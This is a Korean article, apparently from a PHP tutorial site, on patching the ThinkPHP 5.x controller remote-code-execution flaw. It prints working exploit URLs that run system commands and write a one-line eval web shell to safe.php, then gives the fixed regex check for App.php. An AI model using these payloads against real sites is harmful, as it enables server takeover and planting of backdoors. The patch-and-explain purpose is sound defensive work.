>  기사  >  PHP 프레임워크  >  thinkphp 취약점을 수정하는 방법

thinkphp 취약점을 수정하는 방법

藏色散人
藏色散人원래의
2019-07-04 14:22:444067검색

thinkphp 취약점을 수정하는 방법

THINKPHP 버그 수정, 공식은 최근 thinkphp 5.0의 모든 기존 버전과 패치 업데이트를 5.1로 업그레이드했습니다. 이 업데이트는 주로 일부 버그를 수정했으며, 가장 심각한 버그는 이전에 존재하는 SQL 주입 취약점과 취약점입니다. 원격코드 실행 쿼리 시스템은 복구됐으나, 실제 보안점검 과정에서 여전히 문제가 있는 것으로 드러났다. 서버로 이동합니다.

thinkphp 취약점을 수정하는 방법

이번에 발견된 oday 취약점과 관련하여 업데이트된 프로그램 파일 경로는 아래와 같이 라이브러리 폴더 아래 think 디렉터리에 있는 app.php 입니다.

thinkphp 취약점을 수정하는 방법

취약점 이유는 이 컨트롤러에 있습니다. 전체 thinkphp 프레임워크의 기능은 컨트롤러에 대해 엄격한 보안 필터링 및 검사를 수행하지 않으므로 공격자가 강제 삽입을 위한 악성 매개변수를 위조할 수 있습니다. 가장 근본적인 이유는 정규식을 작성했기 때문입니다. 그래서 우회할 수 있다.

컨트롤러가 컨트롤러를 획득한 후 직접 값을 할당하지만 컨트롤러의 이름이 엄격하게 감지되지 않아 원격 코드 주입을 위해 슬래시와 같은 특수 기호를 사용하게 됩니다.

웹사이트 환경을 설정해 보겠습니다. apache+mysql+Linux centos 시스템입니다. 구축된 테스트 환경의 주소는 http://127.0.01/anquan 입니다. index.php 뒤에 공격 매개변수를 직접 위조할 수 있습니다.

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

get 메소드를 통해 웹사이트에 직접 제출하면 웹사이트의 현재 루트 디렉터리에 있는 모든 파일을 직접 쿼리할 수 있습니다. 스크린샷은 다음과 같습니다.

thinkphp 취약점을 수정하는 방법

직접 원격 코드를 주입할 수도 있습니다. 이 취약점을 통해 phpinfo 문을 실행하여 현재 PHP 버전, 경로, 확장자 및 php.ini가 저장된 주소를 모두 볼 수 있으며 다음 코드를 구성하면 됩니다.

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

thinkphp 취약점을 수정하는 방법

어떤 사람들은 phpinfo를 사용하여 디렉터리 파일을 쿼리할 수 있으므로 getshell을 사용하여 웹사이트 트로이 목마 파일을 웹사이트에 쓸 수 있는지 물을 수 있습니다. 대답은 '예'입니다. 테스트할 때 safe.php 파일에 트로이 목마 코드 한 문장을 썼습니다.

http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_GET["cmd"]);?>%27%20>%20safe.php

이제 thinkphp 취약점 악용 및 분석이 끝났습니다. 이 취약점은 고위험 취약점이며 피해가 심각합니다. 업그레이드하고 패치를 업데이트하는 많은 웹사이트가 공격을 받을 것이며 일부 웹사이트는 심지어 해킹될 것입니다. 어떻게 해야 하나요? thinkphp 취약점을 수정하려면 어떻게 해야 하나요?

이전 정규 표현식을 바꾸면 PHP 파일 생성을 방지하거나 웹사이트의 취약점을 복구하거나 웹사이트 보안 보호 매개변수를 재설정하여 현재 웹사이트에 맞게 설정할 수 있습니다. 환경.

이 상황에 대응하여 라이브러리/think/App.php 코드의 정규식을 변경해야 합니다

if (!preg_match(&#39;/^[A-Za-z][\w\.]*$/&#39;, $controller)) { throw new HttpException(404, &#39;controller not exists:&#39; . $controller); }

이 기사는 ThinkPHP 프레임워크 기술 기사 칼럼에서 발췌한 것입니다: http://www.php.cn/ phpkj /thinkphp/

위 내용은 thinkphp 취약점을 수정하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.